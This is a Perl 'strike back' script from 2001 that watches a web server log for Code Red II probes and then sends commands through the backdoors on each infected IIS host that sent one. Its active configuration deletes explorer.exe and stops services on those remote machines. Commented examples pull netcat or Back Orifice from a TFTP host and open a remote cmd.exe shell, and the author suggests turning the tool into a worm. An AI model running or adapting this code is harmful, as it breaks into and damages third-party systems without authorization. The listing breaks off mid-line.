#!/usr/bin/perl # # strikeback.pl v0.1 # # A little quickhack I wrote originally to strike back all these Code Red II # infected IIS out there that try to attack my network. But it can easily # be modified to strike back other URL based attacks. # Also you turn it into a worm itself. Want to know how ? Think about it. # On most systems there will be a C:\WINNT\SYSTEM32\LOGFILES ... # The program attaches itself at your local webserver access logfile # ( apache format ) and watches for incoming "GET default.ida?XXXX...." # and, because CR II seems sometimes to transmit a broken URL, for "XXXXX" # requests. If you haven't have a webserver at hand, try "urlsnarf" which # comes with the famous dsniff program : http://www.monkey.org/~dugsong/dsniff # './urlsnarf -i eth0 "XXXXXX|default\.ida" >mylogfile' for example. # Below I'll show you some examples. Make up your own strike back rules. # Yes, this program can be considered as evil. But nearly two months after # the release of the Code Red worm it's time to kick all these bloody # stupid, overpayed IIS admins, that are showing their incompetance by having # not yet patched their systems, in the ass! WHAT DO YOU THING YOU GET PAYED FOR? # # (c) by debaser 08/10/2001 debaser@freemail.ru # # DISCLAIMER: It's easy to brake the law with this program! If you do this, # you are on your own! I'm in no way responsible for what you used this # program to do! # # greetings to the people at HAL2001 that blocked my MAC for outgoing # traffic after I have tested my tool at the campus ;) # and my congratulations to the HAL2001 organizer: it was a really # interesting and funny camp! # # config # # where is the logfile ? $apache_log = "/var/log/httpd/access.log"; # # you always want to log the output, won't you ? $root_log = "test.log"; # # use a proxy if you have one $proxy = ""; $proxy_port = 8080; # # the character defined here can't be used in URLs, so choose with care $delimiter = "#"; # # if defined, generate some debug infos $debug = ""; # # @commands define the commands we will try to execute. The format of # each entry is: "ddddd" # with: # command_number = serial number of this command # method = HTTP method ( GET, POST, HEAD ...) # command = the command to try ( eg. /scripts/root.exe?/c+dir ) # response = the server response if the command was executed successful ("1" means whatever ) # ok = if succesful, what to do next (command_number) # notok = else execute this ( where "0" means exit and "1" whatever ) # "d" stands for "delimiter" as defined above # # examples: # # simply try to stop the offending server # @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#3', # '2#GET#/scripts/root.exe?/c+net+stop#1#0#0', # '3#GET#/scripts/shell.exe?/c+dir#200#4#5', # '4#GET#/scripts/shell.exe?/c+net+stop#1#0#0'); # # not very nice to administrate a system via "GET..." so let us install # a "netcat" backdoor # @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#0', # '2#GET#/scripts/root.exe?/c+tftp.exe+"-i"+192.168.23.42+GET+NETCAT.EXE+c:/winnt/system32#1#3#3', # '3#GET#/scripts/root.exe?/c+netcat.exe+"-n"+"-l"+"-v"+"-p"+6667+"-e"+cmd.exe',); # # or want to install back orifice ? # (of course you have to setup a tftp server first) # @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#4', # '2#GET#/scripts/root.exe?/c+tftp.exe+"-i"+192.168.23.42+GET+BO2K.EXE+"c:\winnt\system32\drivers#1#3#3', # '3#GET#/scripts/root.exe?/c+"c:\winnt\system32\drivers\BO2K.EXE"#1#0#0', # '4#GET#/scripts/shell.exe?/c+dir#200#5#6', # '5#GET#/scripts/shell.exe?/c+copy+shell.exe+root.exe#1#2#2', # '6#GET#/scripts/sensepost.exe?/c+dir#200#7#8', # '7#GET#/scripts/sensepost.exe?/c+copy+sensepost.exe+root.exe#1#2#2', # '8#GET#/c/winnt/system32/cmd.exe?/c+dir#200#9#0', # '9#GET#/c/winnt/system32/cmd.exe?/c+copy+"c:\winnt\system32\cmd.exe"+"c:\inetpub\scripts\root.exe"#1#2#2'); # # and so on... I thing you got the idea. # # @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#0', '2#GET#/scripts/root.exe?/c+ren+root.exe+xxx.exe#1#3#3', '3#GET#/scripts/xxx.exe?/c+del+"c:\explorer.exe"#1#4#4', '4#GET#/scripts/xxx.exe?/c+del+"d:\explorer.exe"#1#5#5', '5#GET#/scripts/xxx.exe?/c+echo+xxx+%3e+"c:\notworm"#1#6#6', '6#GET#/scripts/xxx.exe?/c+net+stop#1#0#0'); # # end of config part # use IO::Seekable; use IO::Socket; use IO::Handle; use File::stat; $SIG{'INT'} = 'got_sig'; $SIG{'KILL'} = 'got_sig'; sub got_sig { $endtime = time; print " IP : first time seen : last time seen\n"; print "-------------------------------------------------------------------------\n"; foreach (keys %infected ) { printf("%-22s:%28s:%28s\n",$_, $infected{$_}[0], $infected{$_}[1]); } print "Exit.\n"; exit; } $idle = 3; $fileend = 0; $log=0; open (LOGFILE, $apache_log) or die "Can't open APACHE logfile $apache_log: $!"; if ( $root_log ne "" ) { open (RLOG, ">> $root_log") or die "Can't open $root_log: $!"; $log=1; RLOG->autoflush(1); } %infected = (); for (;;) { # emulate tail -f while () { if ( $fileend == 1 ) { # are we at the end of file ? if ( $_ =~ /XXXXXX|NNNNN|\.ida/ ) { # code red ? ($ip, undef, undef, $date, $toffset, $rest) = split(/ /,$_); $cmd_nr = 1; if ( $infected{$ip}[0] ) { # first time attack ? $infected{$ip}[1] = "$date $toffset"; # have you seen before, don't strike back, only remember timestamp if ( $debug ) { print "DEBUG: not the first time for $ip\n"; } } else { $infected{$ip}[0] = "$date $toffset"; if ( $debug ) { print "DEBUG: first time for $ip\n"; } while ( $cmd_nr != 0) { (undef, $method, $command, $sresp, $ok, $notok) = split(/[$delimiter]/,$commands[$cmd_nr-1]); $got = ""; if ( $proxy ne "" ) { connect2("$method http://$ip$command HTTP/1.1"); } else { connect2("$method $command HTTP/1.1"); } if ( $debug ) { print "DEBUG: nr.: $cmd_nr $method http://$ip$command HTTP/1.1 wait for: $sresp\n"; } if ($sresp == 1 ) { $cmd_nr = $ok; } else { if ($got == $sresp) { $cmd_nr = $ok; if ( $log ==1 ) { print RLOG "GOTCHA: $ip $date $toffset $method $command\n"; } } else { $cmd_nr = $notok; } } } } if ( $debug ) { print "DEBUG: skip to next host.\n"; } } } } $fileend = 1; exit if stat(*LOGFILE)->nlink == 0; # exit if LOGFILE was deleted sleep $idle; LOGFILE->clearerr(); # clear EOF flag } if ( $log == 1 ) { close(RLOG); } sub connect2 { my ($send) = @_; if ( $debug ) { print " DEBUG: CONNECT $ip...\n"; } eval { local $SIG{'ALRM'} = sub { die "Timeout" }; alarm(120); if ( $proxy ne "" ) { $socket = IO::Socket::INET->new(PeerAddr => $proxy, PeerPort => $proxy_port, Proto => "tcp", Timeout => 60, Type => SOCK_STREAM); } else { $socket = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => 80, Proto => "tcp", Timeout => 60, Type => SOCK_STREAM); } if ( $socket ) { if ( $debug ) { print "DEBUG: WE_SEND: $send\n"; } print $socket "$send\n\n"; if ( $log == 1 ) { print RLOG "\n--------------------------------------------\n"; print RLOG "$ip $date $toffset $method $command\n"; } $header = 1; $html = 0; while ($response = <$socket> ) { chop($response); chop($response); if (($response eq "") || ($response eq " ")) { $header = 0; } # blank line indicate end of header if ($header == 1) { if ( $debug ) { print "DEBUG: HEADER: \"$response\"\n"; } ($var, $value, undef) = split(/\s+/,$response); if ($var =~ /^HTTP\/1\./) { $got = $value; } } else { if ( $response =~ /^\